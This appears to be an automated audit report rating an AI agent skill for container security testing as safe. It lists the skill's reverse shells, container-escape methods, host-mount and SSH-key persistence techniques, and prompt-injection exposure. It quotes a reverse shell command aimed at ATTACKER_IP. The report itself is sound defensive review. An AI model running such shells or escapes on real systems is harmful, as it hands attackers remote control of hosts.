container-security

Pass

Audited by Gen Agent Trust Hub on Sep 19, 2026

Risk Level: SAFECOMMAND_EXECUTIONPRIVILEGE_ESCALATIONPERSISTENCEEXTERNAL_DOWNLOADSINDIRECT_PROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill provides numerous shell-based attack payloads for security testing, including interactive reverse shell commands (e.g., bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1) and cgroup release_agent exploitation scripts in guides/container-escape-techniques-guide.md and payloads.md.
  • [PRIVILEGE_ESCALATION]: Detailed instructions for container breakout and host compromise are documented, including methods to mount host block devices (e.g., mount /dev/sda1 /mnt/host), abuse Linux capabilities like CAP_SYS_ADMIN, and use chroot to obtain root access on the underlying host system.
  • [PERSISTENCE]: The skill documents techniques for establishing persistent access during security assessments, such as injecting SSH public keys into the host's authorized_keys file and modifying shell profile files like .bashrc to trigger payloads on user login.
  • [EXTERNAL_DOWNLOADS]: Fetches installation scripts and GPG keys for security auditing tools from well-known and established sources, including official repositories for Aqua Security (Trivy), Anchore (Grype), and Sysdig (Falco).
  • [INDIRECT_PROMPT_INJECTION]: The skill is designed to process untrusted external data such as container image manifests and Kubernetes cluster metadata, which represents a potential surface for indirect injection if processed without strict boundaries.
  • Ingestion points: Container registry metadata, image layer filesystems, and Kubernetes API server responses during discovery.
  • Boundary markers: Not explicitly implemented in the provided markdown instructions or guides.
  • Capability inventory: High capability for system shell execution, filesystem access, and network operations through the agent's allowed tools.
  • Sanitization: Relies on the output of external auditing tools (e.g., Trivy, Kubeaudit) which may process untrusted data into structured formats.
Audit Metadata
Risk Level
SAFE
Analyzed
Sep 19, 2026, 04:36 PM